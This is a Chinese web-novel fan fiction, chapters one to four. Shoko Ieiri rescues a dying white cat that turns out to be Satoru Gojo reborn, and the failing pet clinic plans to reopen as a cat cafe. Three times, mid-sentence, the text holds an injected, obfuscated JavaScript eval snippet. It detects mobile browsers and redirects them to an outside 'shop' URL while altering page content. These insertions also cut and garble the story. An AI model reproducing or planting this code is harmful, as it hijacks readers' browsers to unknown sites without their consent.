《带着毛绒绒开咖啡厅是否搞错了什么》 1. 第一章 就不该在这个时候提出辞职的。 家入硝子站在地铁口,看着眼前瓢泼的雨幕,紧了紧自己右手搂着的手提包。豆大的雨珠噼里啪啦地砸下来,带着将那她那娇贵轻便、晴雨两用的六骨雨伞砸出坑来的汹汹气势。 三个小时前,她还在那个黑心老板的办公室递交辞呈,窗外天空一片阴郁灰黑,老板顺着她的目光看了一眼,还颇为假惺惺地装出一副关照的模样:“家入啊,这天色看着不对,估计要下暴雨,你要不要借一把公司的伞走?下次记得来还就是了。” “不用了,我自己在工位上备了伞,”家入硝子的思绪一瞬间被拉回来,她瞥了一眼脸上带着假笑的老狐狸,伸手将离职材料推过去,“工作交接已经完成了,您在我的离职材料上签个字就行。” “行。”对方签得很爽快,毕竟她走了,那个沾亲带故的新人就能名正言顺地顶上来。她一毕业就入职了这家公司,在底层辛辛苦苦干了两年,最后全给别人做了嫁衣。 家入硝子接过那几张决定了自己接下来人生的单薄纸页,扫视了一遍是否还有遗漏的地方,确认一切都没问题后,她头也不回地离开了自己待了两年的地方。 现在她行走在雨幕里,在扑面而来的冷风和雨珠中费劲地调整手中被吹得斜歪的黑色雨伞,以保证自己包里的笔记本电脑不会被雨打湿。 她目前居住的公寓离地铁站大概五六百米,平时走得快十分钟都要不了的路程,在这一刻被拉得无比漫长。 家入硝子深一脚浅一脚地踏过已经积起凹洼水坑的路面,只披了件风衣外套的单薄身子被冷风吹得直哆嗦。路上的行人没剩几个,街边的商户也早早地拉下了卷帘门,只有路边那家24小时营业的便利店在灰白的雨幕中坚强地亮着暖色橘灯。 走过这个路口就到了、走过这个路口就到了…… 她在心底给自己打着气,急匆匆地朝着那个熟悉的十字路口走去,却在路口的拐角看到了一点突兀的白色。 家入硝子不确定自己是不是眼花,但那点白色随着距离的接近越来越清晰,她看见一只被暴雨淋成落汤鸡的脏兮兮白猫,身下还有一滩晕开的暗红色血迹。 这年头还有人虐猫?家入硝子眉头紧蹙,抱着手提包的手指用力了些,指节都微微泛白。 不过她从小就不喜欢寻常女生都会怜爱的毛绒绒生物,不如说她对有生命的存在都不感冒,自然也就没有考虑过把流浪动物往家里捡这种想法。 不过这么淋着雨,看着确实有点可怜,也不知道究竟是死是活。 家入硝子看了一眼对方身下的那滩血,因为雨水晕染的缘故,她没办法准确判断猫的出血量,但考虑到雨水沾湿皮毛带来的降温、地面脏污可能导致的感染等诸多问题,在她看来,这只猫大概率活不过今晚。 已经到达了人生低谷,手里积蓄不多、未来一片灰暗,没有心情也没有精力去多管闲事的家入硝子稍微犹豫了两秒,便抬脚绕过那只像块破布的流浪猫,往家里走去。 她的头发和衣服下摆都被风斜着吹的雨水打湿了,要赶紧回去冲个热水澡,换身干净衣服才行,不然容易风寒感冒。按照家入硝子的习惯,最好再来上一罐啤酒暖暖身子。 只是当她走过路口几步路,公寓就在眼前时,她却顿住了脚步,身形一晃,转身快步往回走。 家入硝子也不知道自己在干什么,可能只是一时生出来的于心不忍,也可能是今天已经够倒霉了,糟心事不差这一桩。 她先是将手里的伞放在地上,为那只猫挡住头顶的冷雨,接着伸出手,小心翼翼地将那只猫的身体翻过来,查看它腰腹部那道狰狞的伤口。 当她的手碰到对方冰冷脏污的皮毛的时候,家入硝子的心一下子提了起来。那只猫的伤势很重,一道肉眼可见的撕裂伤赫然显露出来,可以看到脏器和白骨,几乎是横向将猫断成两截的程度。 她心下一紧,将自己身上的风衣脱下,用勉强干燥的布料把那团染成暗红色的白裹起来,快速地朝着家底下那家宠物医院赶去。 只是她来的时机不太凑巧,往常总是窝在前台在电脑上玩连连看、时不时和上下班的家入硝子打招呼的接待小妹,却在此时不见踪影。家入硝子把伞随意地搁置在门口的桶里,抱着怀里那团冰冷湿润的布料朝着里面走去,刚走了不到几步,就被突然冲出来的一个身影撞了一下,她赶紧伸出另一只手臂支撑住自己的身体,这才没有摔倒。 “对不起对不起——啊!硝子姐你怎么在这里?” 对方似乎完全没有看到柜台前站着的人,连忙躬身道歉。家入硝子定睛一看,对方正是刚刚前台不见身影的接待小妹,对方神色匆匆,一副火急火燎的模样。 “我……” 硝子还来不及回话,就看到接待小妹越过自己,脚底生风地冲到前台蹲下,拉开柜门翻箱倒柜地找东西,忙得都顾不上抬头,对上硝子的眼神:“今天不知道为什么,出事儿的小动物特别多!刚刚有个熟客家的两只猫打架,刚送过来,现在还躺在隔离的笼子里。还有只金毛不小心把主人的鱼线吃下肚了,医生正忙着给它做手术呢!我得快些找到备用的纱布,赶紧给他们送过去——” 她在柜子里倒腾了几秒,终于找到了需要的东西,满头大汗地抬起头来对上家入硝子的视线:“对了硝子姐,你怎么这么快下班了?你怀里抱着的是什么……” 接待小妹的话还没说完,视线就先落在了硝子怀里那团染了血的风衣上。她的表情怔了一瞬,对上家入硝子略带紧张的目光,像突然意识到什么那般止住了话头,瞳孔微微收缩:“……不会是我想到的那样吧?” 听到她的话,家入硝子的动作忍不住顿了顿,但还是咬着牙,小心翼翼地掀开刚刚挡风用、已经被染得一片粉红的风衣,白猫血迹斑斑的身躯就这么暴露在了宠物医院暖色调的光线之下。 “我的天呐……”看清的瞬间,接待小妹的喉咙里发出一声不自觉的喃喃,表情微微失神,“这什么情况啊?伤这么重?” “具体情况我也不太清楚,”家入硝子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365214|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将白猫连着身下的风衣一起放在前台的桌面上,捋了把因为自己雨水和汗水粘在额头上的刘海,微微喘着气说道,“在十字路口那儿捡到的。你帮我问问医生,还能救吗?” 对方紧咬着下唇,眼神里闪烁着为难,她站在原地嗫喏了几秒,正准备说些什么,一阵急匆匆的脚步声从走廊上传来。 “小林!怎么我要的纱布还没找来?”刚结束了一趟手术,这家宠物医院里的医生推开了手术室的门,大步走了出来,他迎面撞上家入硝子的视线,面上带着几分诧异,“这不是家入小姐吗?怎么……” “医生,硝子姐带了只受伤的猫过来,看着快死了!”小林这时才像找到了主心骨似的看向医生,还抓着纱布的手颤抖地指了指桌子上眼看着出气多进气少的白猫。 “我在路边刚捡到的,能救吗?”家入硝子垂在身侧的手紧了紧,虽然她一时头脑发热将猫带了过来,但这只猫有多大的概率能活下来,她自己也不确定。但是,如果眼睁睁地看着某条生命在自己眼前逝去,对她来说,那种感觉大概也是不痛快的。 医生用戴着橡胶手套的手翻了一下白猫血污的皮毛,语气凝重:“看上去大出血很严重,我先给这只进行清创和缝合手术吧。小林你先把纱布拿到手术室后再回来,助手会帮忙包扎球球的创口。” 球球是那只不慎将主人的钓鱼线吃下肚的金毛犬,刚刚医生和助手护士费了快两个小时,才把那根接近二十米的尼龙线从对方的腹中取了出来。 他直接从抽屉的包装袋里拿出了无菌布,摊开在前台的桌面上,泛着银光的金属手术工具在桌面上一字排开:“再次转移的话,伤势会加重。就在这里进行手术吧。” “但是没有助手在旁边的话,谁来止血?”小林有些着急地发问。 家入硝子听到这话愣了一下。 她回想起自己的大学生涯,她高中毕业时被录取的专业是临床医学,前三年她的学习成绩一直名列前茅,各类奖学金也悉数收入囊中。但不知为什么,从第四年跟着老师见习开始,她总是没来由地在半夜心悸惊醒,看到一张张似曾相识却又残缺不全的苍白面孔,浑身湿透地从梦中醒来。梦魇甚至影响到了她见习活动时的状态,在手术室看着躺在病床上的病人,她总是忍不住地手心发汗、呼吸加速,最后不得不提交了转专业申请,选择了时下最火的市场营销专业,并在两年内修完了全部课程,顺利毕业后进入了那家黑心公司当普通文员,从此再也没碰过手术刀。 那都是快四年前的事情了,但情况紧急,如今只能死马当活马医。 “我可以,”家入硝子握住了自己冷汗涔涔的手,她的面色苍白,声音却很稳,“我学过三年临床医学,有相关的止血和缝合经验。” 医生抬起头看了她一眼,将她颤抖的手和发白的脸色尽收眼底。他沉默了两秒,就在家入硝子以为他会开口婉拒时,他转过头,对着旁边的小林嘱咐道:“手术室的换衣间里还有一套全新的防护服,你去把那套防护服拿过来,快去快回。” 2. 第二章 头顶的无影灯亮得像幻梦,家入硝子穿上了熟悉的防护服和防护帽,用口罩和橡胶手套将自己全副武装起来。她站在医生的旁边,手里拿着止血钳,汗珠从眼皮上滑落,她眨了一下眼,目光一错不错地注视着对方手中的缝合针。 消毒水的气味萦绕在鼻间,鲜红的血一涌出来,她不需要医生提醒,就迅速精准地夹住出血的点位,动作熟练得像是重复过成千上万遍。 医生默默看了她一眼,手里缝合的动作又快又稳,缝到一半,他突然头也不抬地开口:“你来试试这段。” 硝子愣了一下,眼神中流露出些许困惑。 “从这里缝到这里,”医生比划了一下需要缝合的部位,大概还剩下三指长,“我得准备另一侧的引流。” 家入硝子在对方鼓励的目光下接过了持针器,针尖刺入皮肉的那一刻,有股似曾相识的感觉涌上心头。她定了定心神,将那些恍惚的情绪抛出去,按照刚刚对方示范的那样将伤口缝合。 动物的皮肤和人不同,需要缝合两层,一直到最后一针也收束完成,家入硝子才缓缓吐出那口一直憋在心头的气息。 “你的手很稳,家入小姐,”医生在此时出声,语气里带着点明显的惋惜,“没能做成医生,可惜了。” 家入硝子没接话,垂下眼睫,看了看自己戴着橡胶手套的手。 一直在旁边围观的小林这才敢出声:“紧张死我了!硝子姐你也太厉害了,我还以为这猫肯定救不活了呢。” 硝子把身上的装束换下来,看着侧躺在蓝色无菌布上、腹部被纱布缠了好几圈的白猫,它闭着眼睛,身体随着呼吸微微起伏。硝子把手放在对方的背部,虽然气息还是很微弱,但手底下的皮毛却是温热的,真真切切地告知着生命的存在。 小林递过来一条毛巾,她伸手接过,轻声说了句“谢谢”,坐在那里思考接下来要怎么做。 猫的命是救回来了,接下来呢?她还没做好在家里多出一只猫的准备,况且依这只猫的情况来看,肯定要在宠物医院休养一段时间才能正常活动。 想到这里,家入硝子的视线突然放空。虽然医生是个好人,但是众所周知,宠物治疗的价格可不低,就刚刚那场手术中消耗的麻醉剂、抗生素,再加上后续几天的导流和营养补剂……她在见习的医院里接触过,所以知道这些东西原价就不便宜。 “所以我才不打算多管闲事的啊。” 家入硝子叹了口气,伸出两根手指摸了摸那颗正枕在无菌布上、双眼紧闭的白色猫头:“只希望听话点,不然怎么对得起我这出钱又出力的啊。” 五条悟死在新宿与宿傩的对决中,这是无可争辩的事实。 斩击落下来的一瞬间,他的眼中倒映出的只有头顶那片碧蓝如洗的天空。胸口中并不因为战败而懊悔或不甘,只有尽力而为的坦然。 最后是无穷无尽的黑暗。 直到他感受到湿润和寒冷。这对他来说是很陌生的事情,无下限全自动不间断地运行,将他与这些感知都区隔开来,而再次体验到这样的感觉只觉得十分新奇。 紧接着涌上来的就是全身的钝痛,无论是头、四肢还是腰腹,都如同被重物击打那般疼痛着,他只觉得神经都在发出哀鸣,眼皮发沉,整个人像是隔着一层模糊的障壁,听到几个人断断续续的对话。 对话的内容他已经记不清了,只觉得自己像块鱼肉被翻来覆去,他恼怒地想挣开却使不上力,最后维持着那个姿势陷入了沉睡。 等他再睁开眼时,大脑里只有一个想法:干净。太干净了,空气里既没有咒力的痕迹也没有咒灵的扭曲,一切都呈现出事物最本真的模样。 六眼不起作用了? 他正想着,一个阴影压下来,是张陌生的女性面孔,看着他的眼睛里带着惊喜。 “医生,它醒了耶!” 对方的手指不礼貌地戳上来,五条悟眯着眼偏了偏头想躲开,没躲掉。 无下限居然彻底失效了!这下他真的清醒了,瞪大了眼睛盯着这个能打破他无下限术式的家伙,对方正回过头去和身后穿白大褂的男人说话,处于震惊之中的五条悟,只勉勉强强捕捉到了她要立刻打电话通知某人的信息。 事情的发展着实出人意料。他印象里自己都断成了两截,这样都能救回来,简直就是医学奇迹啊! 五条悟砸了咂舌,突然意识到他的视野不太对劲。 对方的身形显得太高大了,周围的摆设也显得大了许多,而且怎么好像四面有玻璃墙挡着——虽然头顶上没有玻璃。不可能他一觉醒来所有人都变成巨人,还把他专门围起来参观了吧?还不如说在他沉睡这段时间有外星人来进攻地球了呢! 他撑着身下的垫子想起身,却发现从手那里传来的触感也不太对劲。 毛乎乎、软绵绵,最重要的是他伸不开自己的手指! 差点以为自己神经受损、就此瘫痪的五条悟把手伸到自己的眼前,看着梅花状的肉垫和趾间探出来的白色软毛,陷入了深深的沉思。 所以并不是周围的一切变大了,而是他自己变成了毛绒绒的四足生物。 身前传来点动静,刚刚跑出去打电话的女生又跑了回来,兴致勃勃地举着手机对着他全方位无死角拍照,一边拍一边嘴里发出“嘬嘬嘬”逗小动物的声音:“医生,我打赌这是我今年见过的最好看的猫!” 侧躺着的白猫赞同地点头。 你,很有眼光。以及——所以我这是变成猫了? 只用三秒就接受了现实的五条悟,朝着对方的镜头歪了下脑袋,看到站在一旁的白大褂医生朝着他伸出手,然后检查了一下腹部的纱布和绷带情况。 “伤口恢复得不错,”医生看了下伤口的情况,一边点头一边接话,“之前因为要做手术,腹部那块儿都被剃秃了,你要拍照还是等它毛全都长出来了再拍吧。” 五条悟顺着对方的视线看过去,果然看到腹部那块的毛被剃得参差不齐,他动了下后腿想站起来,被医生眼疾手快地按住了。 “真是个活力的孩子,不过你的伤口还得再等两天,才能恢复到能动弹的地步,”医生用哄小孩的语气劝诫道,“这两天别舔伤口啊,也别扒拉那块儿。” 不等手底下的猫反应,他又转过去和身旁已经收起手机的女生说话:“小林,你玩连连看的时候也注意一下,这猫要是舔伤口的话,我们得给它配防护圈套了。” 被指出工作时摸鱼的小林也丝毫不感到羞愧,而是冲着医生比了个OK的手势:“收到!” 被两人同时列为重点观察对象的白猫原地打了个懒洋洋的哈欠,决定先闭目养神休息会儿。 不过他的计划注定是要泡汤了,因为过了不到五分钟,住院区门就被拉开,一个披着棕色半长发、眼角有颗小痣的女人蹑手蹑脚地走了进来。 猫的耳部肌肉是三十二块,比人类的六块多出四倍,耳道也比人类更深、更弯曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365215|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,简而言之,猫的听力比人敏锐得多。 就算坐在不远处的小林没有注意到,玻璃箱里的白猫也第一时间察觉到了来人的动静,抖了抖耳朵。 然后它睁开了眼。 家入硝子小心翼翼地推开住院部的金属门,先是拍了拍小林的肩膀,然后看向了那只正躺在观察用的玻璃箱里的白猫。 她其实刚从床上爬起来,原因无他,上班的时候早出晚归被榨干了精力,辞职后唯一想做的事情只有躺在床上睡大觉。 不过她心里还是有记着那只在楼下的宠物医院住院的流浪猫,每天都会在傍晚医生没那么忙的时候过去看看。 现在才上午九点,离她平时去探病的时间还早,但是小林给她打了电话,告诉她猫醒了,让她赶紧下楼。 随便套了一身休闲装的家入硝子抓了抓自己的头发,一脸倦容地进了电梯。等电梯门打开的时候,出现在众人面前的就是彻底清醒过来,脸上还隐隐带着点期待的成熟女性。 而现在,和小林电话中告知她,对方正在休息的消息不一样,对方正瞪圆了那双天空般的蓝眼睛,一动不动地盯着她。 然后她就看到对方张开嘴,从嘴里传出一声又响又亮的“喵!” 家入硝子被这突如其来的叫声弄得愣了一下,还没来得及反应,对方又叫了。 “喵喵!” 猫的脑袋往前探着,两声连发。 就在家入硝子反思自己是不是做了什么,打开对方的某个开关之时,一连串急促的猫叫声劈头盖脸地砸过来,又快又密,中间连口气都不带喘的。 家入硝子下意识地后退半步,有些不确定地看向小林:“这是在说什么?骂我吗?” 猫的叫声戛然而止,瞪得溜圆的眼睛里带着点震惊。然后它把脑袋往下一栽,埋进爪子里,喉咙里滚出一声低低的“嗷呜”,声音拖得长长的,听着莫名有些幽怨。 “真没看出来还是个话痨呢,”小林憋着笑,对家入硝子说道,“刚刚醒来都很乖巧安静的,结果硝子姐你一过来就开始叫。” 硝子又转回去看那只猫。此时的她当然不知道对方一直在“硝子”、“硝子”地叫她的名字,只是伸出手隔着玻璃在对方毛茸茸的猫脸前点了点:“听到了听到了,你叫这么大声,我又不是聋子。” 她拉了把椅子坐到玻璃箱面前,看着对方滚圆的后脑勺和垂下去的耳朵,撑起下巴问旁边的小林:“还得多久才能出院?” “后天就能拆线啦,拆完线还需要留院观察两到三天,”小林翻了一下手里的病历本,“硝子姐你没养过猫吧?要不要我给你推荐些猫粮猫砂猫玩具?” “那都是什么?”家入硝子有些困惑地看向她,“养猫需要这么麻烦吗?” 提出这样的问题实在不怪她,对从小到大,从来没有养过小动物的家入硝子来说,养猫难道不应该和养普通小孩差不多吗?她吃什么,对方就吃什么。而且猫还不用购置衣物和送去上学,总的来说比小孩还方便些。 小林难得卡了一下:“硝子姐,你对养猫这件事是真的一点也不了解啊!” 她拿起自己的手机,快速翻出了几张宠物医院曾救治过的小动物照片,都是它们现今主人发过来的返图。 家入硝子凑了过去,在对方的手机上看到了宛如卡车般将整个脑袋埋在猫碗里干饭的大橘和对毛绒老鼠玩具拳打脚踢的狸花猫,在身侧白猫哀怨的背景声中,难得陷入了沉思。 3. 第三章 在出院前这几天,白猫一直在尝试和家入硝子进行沟通。 但它很快就发现,无论怎么调整叫声的长短、频率和语调,家入硝子都完全听不出区别。在尝试了好几次都以失败告终之后,五条悟终于认清了一个事实:顶着猫的躯壳,想和家入硝子相认这件事,基本等于做梦。 而且,就算没有六眼,他也能看出来,眼前的硝子和记忆里在高专当医生的那个硝子并不完全是一个人。 她看起来完全不记得上辈子的事。 不过这又有什么问题呢?他现在可是连人都不是了耶。 已经拆线、可以在观察箱里稍微活动一下的白猫在小林提心吊胆的目光中原地翻了个身,举起爪子,对着灯光下透着粉的肉垫眯起眼睛。 不过话又说回来,他虽然失去了自己的咒术天赋,这双眼睛倒还留着点特别之处。在小林手机拍下的照片和玻璃的倒影中,五条悟可以确认一件事,他的眼睛还是上辈子那样的苍蓝色。 而且,与普通猫咪不同,他的眼睛可以清晰地捕捉到红色。普通猫的眼睛只能分辨蓝色、绿色和黄色,红色的物体在它们眼中都会显示为灰色。但他不一样,墙上大大的禁烟标志、小林衣服上的图案、以及被丢进医用垃圾桶的染血绷带,他都看得清清楚楚。 虽然失去了三百六十度无死角的视野和观察能量痕迹的能力,但同样也没有大量补充糖分的需求。 白猫把爪子放下,在暖烘烘的垫子上打了个滚。 总而言之,他对现在这双能看到红色的蓝眼睛还挺满意的。 小林在旁边看得心惊胆战:“祖宗哎!你别再动了,刚拆线啊!” 前几天还被她夸“乖巧安静”的白猫充耳不闻,把自己当成烧烤架上的白面馒头片继续翻面。 家入硝子每天傍晚都来看望这只据说正在“逐渐恢复美貌”的白猫。“逐渐恢复美貌”是小林的原话,硝子觉得这六个字翻译一下就是“还得丑一阵子”,不过她没说出口,毕竟猫还在养伤,打击它的自信不太好。 只是来的次数多了,她也渐渐看出些门道。 每天来看病的动物不少,每天都有抱着猫狗冲进来的主人,小林和医生从早忙到晚,脚不沾地。那位医疗助理更是连喝水的时间都没有。 但一到晚上算账的时候,医生和小林坐在前台的电脑前,对着屏幕默契地不吭声,像是在参加什么默哀仪式。 硝子一开始没在意,后来次数多了,她也忍不住问小林:“你们这账……算出来是亏了还是赚了?” 小林苦着脸:“不算的时候觉得自己还能干下去,算完就想把医院和自己一把火点了。” 硝子无语凝噎:“……” 后来她才知道问题出在哪儿,这破医院开在几所学校旁边,房租本来就不便宜,偏偏宠物医院这行有个死循环:流浪动物可怜兮兮地出现在医院门口,你治不治?刚出生的小猫小狗被人装进纸箱扔进来,你管不管? 正因为对动物的爱心过于泛滥,才开了这家宠物医院的医生,一向来者不拒。 治就得自己垫药钱,管就得搭时间和精力进去,再加上那些记账的熟客,半年结一次账,一问起来就讪笑着“哎呀最近手头有点紧,下次一起给”…… 家入硝子算了算自己那台手术,医生只收了药品和后续输营养液的钱,手术费直接免了。 难怪晚上算账的时候两人如丧考妣,换她她也沉默。 更雪上加霜的是,那位忙得脚不沾地的医疗助理辞职了。原因倒是很正常,人家要跟着家里人搬到外地去。硝子猜真正的原因是薪水微薄和终日辛劳,终于把人的热情给磨没了。但这话她没问,毕竟问了也改变不了什么。 助理走后,硝子在医院待的时间越来越长,本来只是来探望猫,后来变成顺便帮把手,再后来就变成每天准时来“上班”。医生倒也不白使唤她,按日给她结薪水,虽然不多,但也足够像她这样刚辞了职,下份工作还没着落的失业人员再撑一段时间。 硝子觉得这样挺好,反正闲着也是闲着,还能天天去逗一下那只他们合力从死亡边缘拉回来的猫。 拆线后的猫已经从观察箱里放出来了,每天就趴在前台上晒太阳,对小林伸过来的逗猫棒爱答不理。不过如果是硝子拿逗猫棒,它还会给点面子,懒洋洋地伸爪子拨弄两下。 小林眼睛都直了:“这猫怎么这么双标啊!” 医生在旁边看完全程,点评道:“有没有可能是因为你挥得太快了?” 硝子挥逗猫棒的动作确实很慢,不是故意的,就是单纯的懒,浑身上下透着一股“能省力就绝不多使一分劲”的节能主义。 小林盯着看了半天,最后选择放弃。 就这么过了大半个月。直到这个月月末,硝子照例推门进来,却发现医生没在忙,而是坐在前台,对着面前的电脑屏幕发呆。 小林站在旁边,连玩连连看的心思都没有了,整个人成了灰色。 医生抬头看见她,冲她招了招手:“家入小姐,我们这儿要关门了。” 家入硝子一愣,她老早就看出了宠物医院入不敷出的事实,只是没想到这天来得这么快。她心底为这家开了不到三年的宠物医院默哀了一秒,面色不显地走过去,看着对方电脑屏幕上的惨淡数字。 她看了看住院区里那些躺在观察箱里,浑然不知自己未来命运的流浪猫狗,又看了看四仰八叉地躺在前台上的白猫,犹豫再三还是问出了那个问题:“你们关门的话,那些动物怎么办?” “先给它们找领养吧,”医生抓了抓自己所剩不多的头发,默默叹气,“身体健康的还好,那些有病有伤、实在找不到领养的,就只能带回乡下老家自己照顾了。” 家入硝子沉默了几秒,和前台上躺着的白猫对上了视线,忍不住伸手去挠对方的下巴:“照顾这些伤病动物的费用不低吧?你打算接着做什么工作来养它们呢?” 医生被她的问题问得向后一靠,身下的椅子发出吱呀的声响。已经不再年轻的男人看着老旧斑驳的天花板沉默了几秒,正要开口—— “等一下!”小林突然从旁边冒出来,双手重重地拍在桌子上。 两个人都被她这番突如其来的举动吓了一跳,医生扶了扶刚刚被吓歪的眼镜:“呃……你说?” “我有个好主意!超级棒的主意!绝妙的主意!”小林的眼睛亮得吓人,但此时她正揉着刚刚被拍红的手掌,又联想到她往日过于活泼的行为,医生和硝子都陷入了沉默。 五条悟也竖起了耳朵,正准备听听这个每天不是摸鱼、就是逗猫逗狗的女孩能提出什么好主意,就突然被一双手托着腋下举了起来。 “看看这只毛快长齐了的猫!”小林激动得有些语无伦次,“白毛大尾巴蓝眼睛的缅因!多好看!往门口一蹲,谁能忍住不进来看一眼?” 五条悟沉默,他觉得小林不用强调腹部的毛还没长齐这件事。 家入硝子听着对方的话,抱着双臂发问:“……所以?” “所以咱们别关门了,直接改行吧!”小林把手里的猫放下来,双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365216|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比划着,“现在特别流行猫咖狗咖!这只放在前台当招牌吸引客人,住院区那些猫狗能找到领养的就送走,找不着就当员工!” 医生张了张嘴,一时间不知道说什么。他还是年纪大了,跟不上年轻人的想法了。 小林掏出自己的手机,划拉出好几张图片:“就是这种!而且这儿地段多好啊,旁边好几所学校,学生休闲时最喜欢这种地方了!我们也不用进太贵的设备,就卖卖咖啡、蛋糕、气泡水之类的,我还会做松饼呢!” 小林一口气说完,气息微微有些喘,她放下手机,眼巴巴地看着面前的医生和家入硝子。 沉默,沉默是今晚的康桥。 小林的眼神从期待变成忐忑,又从忐忑变成“完了,我是不是说错话了”的心虚。 医生有些适应不了地扶着额头,缓缓开口:“小林,你什么时候想的这些?” “就前几天呀!”小林理直气壮道,“我在Z大的表白墙上匿名提问,家里有很多流浪动物养不了怎么办,Z大的学生给出的主意!” 这个答案十分有小林的风格,在摸鱼的过程中摸鱼,摸出了工作灵感,拐了个弯儿把自己送进了正轨。某种程度上来说,这也算是天赋异禀了。 虽然很不想打击这个年轻姑娘的积极性,但家入硝子还是问了一个很现实的问题:“钱呢?装修改造的钱,买设备的钱,还有原料进货的钱,从哪里来?而且那些动物真就这么听话,你说当员工就真的当员工了?” 小林卡住了,她眨了眨眼,然后慢慢转头看向医生。 医生在她可怜巴巴的眼神中叹了口气:“我还有点积蓄,实在不行找我朋友借点钱也行。” 小林的眼睛又亮了,她的头又慢慢地转回来,看向家入硝子。 家入硝子被她的目光看得起了一身鸡皮疙瘩:“你看我干什么?我也失业一个月了……” 小林一把抓住她的手,眼神深情脉脉:“硝子姐!” 家入硝子抖了两下:“干什么?” “你就是天选之人啊!” 家入硝子张了张嘴:“……啊?” “你看这只猫,”小林指着前台上的白猫,“它见谁都不理,偏偏是你捡到了它!这是什么?这是命运!这是羁绊!这是老天爷派你来当驯兽大师的预兆!” 原本躺在前台上的猫一下子坐直了,适时地“喵”了一声。 家入硝子的嘴角抽了抽,她低头看向那只猫,对方的尾巴甩了甩,似乎是觉得这个主意真不错。 小林在旁边更来劲了:“你看它都同意了!硝子姐,组织需要你!猫需要你!咖啡厅的未来需要你!” 突然被压上了远超出自己能力的重任,家入硝子沉默了两秒:“组织?” “就我们三个啊!”小林指了指自己、医生和那只猫,“三个人都能原地组建党支部了,咱们再加上住院区那几只,怎么不算个组织呢?” 家入硝子继续保持沉默,久到小林都以为她要拒绝了,沮丧地垂下头,然后硝子听见自己的声音:“……分成怎么算?” 小林愣了一下,然后抓着她的手原地蹦了起来:“你答应了!!!” 前台上的白猫被这声震耳欲聋的庆祝吓得从柜台上滑下去,四脚朝天地摔在地板上。 一旁的医生下意识蹲下去,眼睛里充满了对未来的担忧:“这猫怎么突然摔下来了,是不是神经反射有问题?那场手术还是落下病根了吗?” 白猫躺在地上,露出“你不是医生吗,怎么自己眼神有问题”的表情。 4. 第四章 宠物医院的医生,是一个执行力很强的人。 家入硝子后来回想起这句话,觉得自己当时还是太年轻。 小林的那番话,她回去后又考虑了一晚上。第二天早上,她特意起得比平时早了半小时,准备去找医生好好谈谈分成比例、经营范围,以及“小林当店长会不会把咖啡厅开成连连看俱乐部”等一系列严肃问题,结果刚走到宠物医院门口,她就愣住了。 施工的标牌、黄色的警戒线、轰隆隆作响的电钻声……透过玻璃可以看见装修队正在里面干得热火朝天,砸墙的砸墙,拆柜台的拆柜台,还有一个人正站在梯子上把宠物医院泛白的招牌取下来。 “……”家入硝子低头看了眼手机上的时间,距离她昨天走出这扇门,满打满算不到十二个小时。 “怎么样!”小林的声音突然从背后炸开,硝子一回头,看见她怀里提着好几个猫包,“我们是不是效率很高?” 家入硝子目瞪口呆,指着里面那一片狼藉:“你们规划好了吗?这么快就直接开工了?” “规划好了呀!”小林言之凿凿,“昨晚医生给他朋友打电话,他朋友是室内装修设计师,一听要改宠物咖啡厅,连夜把方案赶出来了!还顺带介绍了装修队呢!” 家入硝子瞳孔地震:“你确定这不是诈骗电话?” “不是电话,是视频!”小林认真地纠正道,“我看着他们聊的,他朋友还当着我们面画了草图呢——” 她话音未落,医生从旁边推着一辆超市进货用的大型推车过来了。推车上摞着好几个大笼子,几只狗狗正透过铁丝的缝隙往外探头探脑,看见陌生人就开始此起彼伏地吠叫。 他赶紧把被风吹开了条缝的黑布盖严实,然后抬起头,脸上带着一种“今天又是充满干劲的一天”的光彩。 “家入小姐,你来了!” 硝子看看他,又看看那车狗,再看看里面紧锣密鼓的装修现场,艰难地找回自己的声音:“……这些狗是?” “住院区的钉子户们!”医生拍了拍推车,“装修太吵了,对小动物们不好,先暂时转移到我家去住着。小林负责猫,我负责狗,等你来了咱们就——” “等等,”硝子打断他的畅谈,“你怎么知道我一定会来?” 医生愣了一下,然后和小林对视一眼。 小林眨了眨眼:“你不是昨天问分成怎么算了吗?” 硝子的声音低下去:“……我就是问一下。” “问一下不就是想合作的意思吗?” “……那也可能是想了解一下行情。” “你一个失业人员了解咖啡厅分成的行情干什么?” 医生在旁边咳嗽了一声:“那个,家入小姐,如果你现在想反悔的话——” “我没反悔,”家入硝子移开了目光,在乱七八糟的装修现场和两人的身前扫了一圈,突然意识到少了点什么,“我那只白猫呢?怎么没见着?” “送到我朋友开的宠物店洗澡去了!”小林兴高采烈,“一会儿硝子姐你就能见到一只崭新崭新的缅因了!” 硝子愣了一下:“它还需要洗澡?” 